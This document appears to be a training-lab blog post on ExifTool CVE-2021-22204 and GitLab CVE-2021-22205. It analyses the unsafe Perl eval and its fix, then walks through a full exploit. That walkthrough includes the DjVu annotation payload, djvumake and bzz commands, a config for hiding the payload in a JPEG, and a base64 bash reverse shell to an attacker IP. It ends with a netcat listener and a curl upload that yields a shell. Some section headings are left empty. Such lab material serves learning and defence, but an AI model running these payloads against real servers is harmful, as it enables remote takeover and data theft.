ExifTool Command Injection (CVE-2021-22204): Exploitation and Prevention Strategies
Introduction
In software development, security vulnerabilities often emerge from unexpected areas. As applications increasingly adopt external tools and libraries to enhance productivity, the attack surface of software ecosystems expands significantly.
While rapid feature integration is facilitated through these dependencies, reducing development time, the increased reliance on third-party components introduces new risks. Vulnerabilities in external components can become the entry point for chains of multi-platform exploits, ultimately compromising software, systems, and users alike.
Supply chain attacks are becoming increasingly prevalent, targeting weaknesses in third-party components that can jeopardize entire applications or platforms. Such attacks can lead to unauthorized access, data manipulation, or full system control, either by embedding malicious code into dependencies or by exploiting existing vulnerabilities.
Real-world incidents, such as the SolarWinds supply chain attack, have demonstrated how exploiting third-party components can compromise thousands of organizations. The threat posed by supply chain attacks is particularly concerning, as even seemingly innocuous utilities like ExifTool, used for metadata handling, can become vectors for exploitation.
What is ExifTool?
Vulnerability Overview
?CVE-2021-22204:
What is DjVu?
DjVu is a file format mainly oriented towards the storage of the scanned text, graphic, and color photographs and images. It was developed by AT&T Labs in 1996 and serves as a less bulky type of document compared to PDF because high-quality scanned pictures can be converted and compressed into small-sized files without any loss of clarity.
CVE-2021-22204: Vulnerability Analysis
The root cause lies in the way ExifTool handles annotations in DjVu files, specifically in the?ParseAnt function, which fails to properly sanitize user-supplied input before evaluating it as code.
Investigating the ParseAnt Function.
alt:?ParseAnt function code snippet? |?name:?parseant_snippet.png
The ParseAnt function is responsible for parsing annotations in DjVu files.?
The security vulnerability was in the DjVu Perl module.
alt: DjVu Perl module code diff |?name:?djvu_diff.png
Vulnerable Code:
Must protect unescaped?"$"?and?"@" symbols,?and?"\" at end of?string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
Convert C escape sequences (allowed?in quoted text)
$tok =?eval qq{"$tok"};
This regular expression intends to neutralize any unescaped?$ or?@?and backslash characters that may be subject to code injection. Nevertheless, it neglects specific escape characters allowing these characters to be added back into the string after sanitization.
Bypassing the Sanitization with Control Characters
An attacker can use?\c followed by a character to introduce control characters that may not be properly escaped by the sanitization routine.
By carefully crafting the input, an attacker can inject characters like?$ or?@?into the evaluated string, bypassing the sanitization as following:
Crafting Malicious Input:
(metadata?"\c${system('id')};")
Breaking Down the Exploit:
'\c$' is interpreted as a control character which when processed by eval can reintroduce the '$'?character.
The sanitization regex does not account for the \c escape sequence, so the?$ remains unescaped after processing.
The eval function then processes the string, and due to the unescaped $, it interprets?${system('id')} as a Perl code block, executing the system('id') command.
Understanding Improper Input handling
!/usr/bin/perl
use strict;
use warnings;
my?$tok =?"\c\${system('id')};";
print?"Before eval:\n";
print?"\$tok =?$tok\n";
$tok = eval qq{"$tok"};
print?"After eval:\n";
print?"\$tok =?$tok\n";
The variable '$tok' is assigned a string containing a malicious command,?'\c' An escape sequence for control characters.
[Control Character]${system('id')};
'\c$' uses the control character escape to introduce a?'$' character after evaluation.
'\${system('id')}' attempts to inject Perl code by escaping the?'$' to bypass immediate interpolation.
alt:?Improper input handling examples |?name:?improper_input_handling.png
Issues:
The provided vulnerable code snippet from ExifTool is related to improper handling and escaping of special characters, which can lead to security vulnerabilities such as command injection. The above vulnerable code allowed for arbitrary code execution due to improper use of the eval function when processing escape sequences in metadata fields.?
Fixed Code:
Convert C?escape sequences, allowed?in quoted text
(note:?this only converts a few of them!)
my %esc = ( a =>?"\a", b =>?"\b", f =>?"\f", n =>?"\n",
? ? ? ? ? ? r =>?"\r", t =>?"\t",?'"' =>?'"',?'\\' =>?'\\' );
$tok =~ s/\\(.)/$esc{$1}||'\\'.$1/egs;
The above code manually replaces recognized escape sequences without using eval, eliminating the risk of code execution.
The code defines a hash?%esc that maps specific escape sequences to their corresponding characters.
It replaces escape sequences in the string using this mapping.
By doing this manually, there's no need to use eval, eliminating the risk of code execution.
The reason for the vulnerability that existed was the usage of eval on untrusted data which leads to remote code execution. The fixed code also removes the use of eval and the direct mapping of escape sequences eliminating the risk and supporting inferencing of metadata safely without affecting features.
CVE-2021-22205: Vulnerability Analysis
GitLab Integration and CVE-2021-22205 (ExifTool)
?CVE-2021-22205
Key Differences: CVE-2021-22204 vs. CVE-2021-22205
Nature of the Vulnerability
Improper Validation of Uploaded Files
Attack Path & Exploit
To exploit this vulnerability, an attacker needs to create a malicious DjVu file with an annotation chunk containing their payload. The djvumake utility, part of the djvulibre toolkit, can be used to create the crafted file:
Exploitation
Understanding the Vulnerability
Steps to manually exploit the vulnerability by generating the malicious .jpg image
领英推荐
Tools Required
To manually exploit the vulnerability, we will generate a malicious DjVu file.
Step 1: Create a file named payload with the following content:
Payload:?'(metadata "\c${system('id')};")'
Explanation:
Step 2:
Compress the payload using bzz to make it less conspicuous.
Command:?'bzz payload payload.bzz'
Use djvumake to create the DjVu file with the compressed payload.
Commands:
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
file exploit.djvu
Parameters:
'INFO='1,1':' Basic page information.
'BGjp=/dev/null:' No background image.
'ANTz=payload.bzz:' Include the compressed annotation.
The file should be recognized as a DjVu document.
Step 3:
Test the DjVu File with ExifTool, to confirm that the DjVu file triggers the vulnerability, run:
Command:?
exiftool exploit.djvu
alt:?exiftool exploit execution |?name:?exiftool-exploit.png
The?id?command output should be displayed, indicating that code execution occurred.
Step 4: Let's exploit a GitLab server.
Since GitLab expects image files like JPEG, we need to embed our DjVu payload into a valid JPEG image.
%Image::ExifTool::UserDefined = (
? ??'Image::ExifTool::Exif::Main' => {
? ? ? ? 0xc51b => {
? ? ? ? ? ? Name =>?'HasselbladExif',
? ? ? ? ? ? Writable =>?'string',
? ? ? ? ? ? WriteGroup =>?'IFD0',
? ? ? ? },
? ? },
);
1;?#end%
To execute our malicious code using a JPEG file instead of a DjVu file, we can use ExifTool itself to modify the JPEG structure. Here's how we can do it step-by-step:
Create a Configuration File: This configuration file tells ExifTool how to add a new custom EXIF tag (metadata) to our JPEG. We'll name it?configfile?and define a new tag called?HasselbladExif?using a specific byte identifier (0xc51b).
Insert the Malicious Payload into the JPEG: We use ExifTool along with our?configfile?to embed our?exploit.djvu file (created earlier) as a new EXIF tag inside a normal JPEG file. The command for this is:
Example:
$ exiftool -config configfile '-HasselbladExif<=XXXX.djvu'?hacker.jpg
Encode a one-liner bash reverse shell in base64 format.
Command:
echo 'sh -i >& /dev/tcp/(Attacker IP)/4444 0>&1' | base64?
alt:?base64 encoded one liner bash reverse shell |?name:?bash_1_liner_b64.png
Payload:
(metadata "\c${system('echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMzguNi80NDQ0IDA+JjEK | base64 -d | bash')};")
Command:
bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
file exploit.djvu
alt:?reverse shell djvu file |?name:?djvu_exploit_creation.png?
Now, to convert the .djvu file in .jpg format.
Command:
cp /usr/share/wallpaper.jpg .
exiftool -config configfile '-HasselbladExif<=exploit.djvu' wallpaper.jpg
file wallpaper.jpg
alt: creating malicious jpg file from djvu exploit |?name:?djvu_to_jpeg_convert.png
Explanation
Step 5:
Starting a netcat listener on port?'4444'
Command:
nc -lvp 4444
alt:?running netcat |?name: netcat_run.png
Step 6:
Send the payload to vulnerable gitlab server (demo.ine.local) to gain the bash shell.
Command:
curl -v -F 'file=@/root/wallpaper.jpg' https://demo.ine.local/$(openssl rand -hex 8)
alt:?manual?exploit upload to gitlab |?name: gitlab_exploit_man_upload.png
We have received a shell.
alt:?successful exploit reverse shell |?name: man_revsh_success.png
Mitigation
The root cause of the vulnerability was the use of eval on untrusted data, which led to RCE. The fixed code eliminated the use of eval? and implemented manual escape sequence handling to mitigate the risk. To prevent such vulnerabilities, it is crucial to avoid using?eval on untrusted input and to implement proper input validation and sanitization routines.
Conclusion
The ExifTool vulnerability, CVE-2021-22204, along with the GitLab related CVE-2021-22205, demonstrates the risks posed by improper handling of user input in third-party dependencies. By exploiting these vulnerabilities, attackers can achieve remote code execution, gaining unauthorized access to servers and sensitive information. This lab has shown how easy it is to exploit such weaknesses if proper input validation and security measures are not implemented. It emphasizes the importance of keeping dependencies updated and performing thorough security assessments to mitigate risks and protect against potential exploits.
References:
Try this exploit for yourself as a part of INE’s Vulnerabilities Collection. With an INE Subscription,?access this lab and a robust library covering the latest in Cybersecurity, Networking, Cloud, and Data Science!
Check out this blog and more content at INE!